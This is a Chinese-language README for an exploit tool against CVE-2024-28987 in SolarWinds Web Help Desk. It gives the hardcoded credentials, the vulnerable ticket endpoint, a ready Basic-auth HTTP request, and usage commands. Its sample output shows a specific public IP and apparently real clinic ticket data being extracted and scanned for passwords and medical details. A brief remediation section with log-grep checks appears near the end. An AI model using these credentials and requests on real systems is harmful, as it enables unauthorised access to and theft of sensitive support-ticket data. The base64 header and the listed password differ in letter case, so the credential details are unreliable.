
CVE-2024-28987 — 已更新!
**CVE-2024-28987** 是 SolarWinds Web Help Desk (WHD) 中的一个严重漏洞,允许远程攻击者利用**硬编码凭据**访问敏感工单信息。该漏洞的 **CVSS 评分为 9.1(严重)**,并且已在野外被积极利用。
CVE-2024-28987 - SolarWinds Web Help Desk 硬编码凭据漏洞利用工具
⚠️ 免责声明: 本工具仅用于教育和授权的安全测试目的。未经授权访问计算机系统属于违法行为。请仅对您拥有或已获得明确测试许可的系统使用本工具。
📋 概述
CVE-2024-28987 是 SolarWinds Web Help Desk (WHD) 中的一个严重漏洞,允许远程攻击者使用硬编码凭据访问敏感工单信息。该漏洞的 CVSS 评分为 9.1(严重),并且正在野外被积极利用。
漏洞详情
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2024-28987 |
| CVSS 评分 | 9.1(严重) |
| CWE | CWE-798(硬编码凭据) |
| 受影响产品 | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 |
| 已修补版本 | 12.8.3 Hotfix 2 |
| 利用情况 | 已在野外被积极利用 |
| 加入 CISA KEV 的时间 | 2024 年 10 月 15 日 |
影响
未经身份验证的攻击者可以:
- 访问包含敏感信息的所有支持工单
- 查看临时密码、重置请求和共享服务凭据
- 通过
/OrionTickets端点对工单执行增删改查(CRUD)操作 - 可能横向移动至网络中的其他系统
🔧 功能特性
- ✅ 自动漏洞检测 - 检测硬编码凭据
- ✅ 工单提取 - 从存在漏洞的系统检索所有工单
- ✅ 敏感数据扫描 - 识别密码、凭据、个人身份信息(PII)和医疗数据
- ✅ 多种输出格式 - JSON 和 JSONL,适用于大型数据集
- ✅ 交互式预览 - 提取前显示前 3 个工单
- ✅ 零依赖 - 仅使用 Python 标准库
- ✅ 彩色输出 - 使用 ANSI 颜色增强可读性
- ✅ 错误处理 - 优雅地处理连接错误
🚀 快速开始
前提条件
- Python 3.6 或更高版本
- 无需任何外部依赖!
安装
# Clone the repository
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987
# Make the script executable
Usage
bash
# With target URL as argument
python3 cve-2024-28987.py http://target-ip:port
# Interactive mode (will prompt for target)
python3 cve-2024-28987.py
# Example with a vulnerable target
python3 cve-2024-28987.py http://192.168.1.100:8098
📊 Output Example
bash
$ python3 cve-2024-28987.py http://138.94.193.65:8098
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║
║ ║
║ CVE-2024-28987 - SolarWinds Web Help Desk ║
║ Hardcoded Credentials Vulnerability ║
║ ║
╠══════════════════════════════════════════════════════════════════╣
║ GitHub: https://github.com/Darabium ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] Target is VULNERABLE!
[+] Found 42 tickets
======================================================================
[📋] Ticket Preview (First 3 tickets)
======================================================================
Ticket #1
├── ID: 5690
├── Client: UBS Portao Vermelho
├── Status: Open
├── Detail: BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO
Ticket #2
├── ID: 5691
├── Client: UBS Centro
├── Status: In Progress
├── Detail: ALCOOL 70% - Solicitação de material de limpeza
======================================================================
[🔐] Scanning for Sensitive Data
======================================================================
[!] Potential PASSWORD data found in ticket #5723
└── detail: Please reset my password for system access...
[?] Do you want to extract ALL tickets to file? [y/N]: y
[*] Saving to: 138_94_193_65_8098_tickets.json
[✓] Successfully saved 138_94_193_65_8098_tickets.json
[*] File size: 42,847 bytes
[*] Total tickets: 42
[*] Done!
GitHub: https://github.com/Darabium
📁 文件结构
CVE-2024-28987/
├── cve-2024-28987.py # 主漏洞利用脚本
├── README.md # 本文件
└── LICENSE # MIT 许可证
输出文件
当您提取工单时,将创建以下文件:
标准 JSON 格式(始终创建)
138_94_193_65_8098_tickets.json
JSONL 格式(如果超过 100 个工单则创建)
***_tickets.jsonl 🔍 技术细节 硬编码凭据
USERNAME = "helpdeskIntegrationUser"
PASSWORD = "dev-C4F8025E7"
受影响的端点
/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
示例 HTTP 请求
GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1
Host: vulnerable-target:8098
Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw==
Content-Type: application/x-www-form-urlencoded
🛡️ 修复措施 立即行动
-
立即更新至 SolarWinds Web Help Desk 12.8.3 Hotfix 2 或更高版本
-
检查日志中是否存在对 /OrionTickets 端点的可疑访问
-
监控对工单数据的未授权访问
-
重置所有可能在工单中泄露的凭据
-
审查所有支持工单以防数据泄露
检测命令
# Check for exploitation attempts in logs
grep -i "OrionTickets" /var/log/webhelpdesk/access.log
# Check for unauthorized access patterns
grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log
# Check current version
cat /opt/WebHelpDesk/version.txt
🚨 CISA KEV 公告
该漏洞已被添加到 CISA 的已知被利用漏洞(KEV)目录中。各组织必须在规定的截止日期前完成修补。
添加日期:2024 年 10 月 15 日
必需操作:按照供应商说明应用更新
截止日期:2024 年 11 月 5 日(21 天)
📚 参考链接
NVD CVE-2024-28987
CISA KEV 目录
SolarWinds 安全公告
PEP 668 - 外部环境管理
🤝 参与贡献
欢迎贡献!请随时提交拉取请求或打开 issue。
指南
-
Fork 本仓库
-
创建您的功能分支(git checkout -b feature/AmazingFeature)
-
提交您的更改(git commit -m 'Add some AmazingFeature')
-
推送到分支(git push origin feature/AmazingFeature)
-
打开 Pull Request
📝 许可证
本项目基于 MIT 许可证授权 - 详见 LICENSE 文件。
⚡ 作者
Darabium - 初始工作 - GitHub
⚠️ 重要说明
-
本工具仅用于安全研究和教育目的
-
请勿在您不拥有或未经明确许可测试的系统上使用
-
作者对任何滥用本工具的行为概不负责
-
始终遵循负责任披露实践
-
遵守您所在司法辖区的隐私和数据保护法律
🌟 Star 历史
如果您觉得此工具有用,请在 GitHub 上给它一个 ⭐!
📞 支持
-
如需报告 Bug,请在 GitHub 上打开 issue
-
如有安全问题,请直接通过 GitHub 联系
用 ❤️ 为 Darabium 打造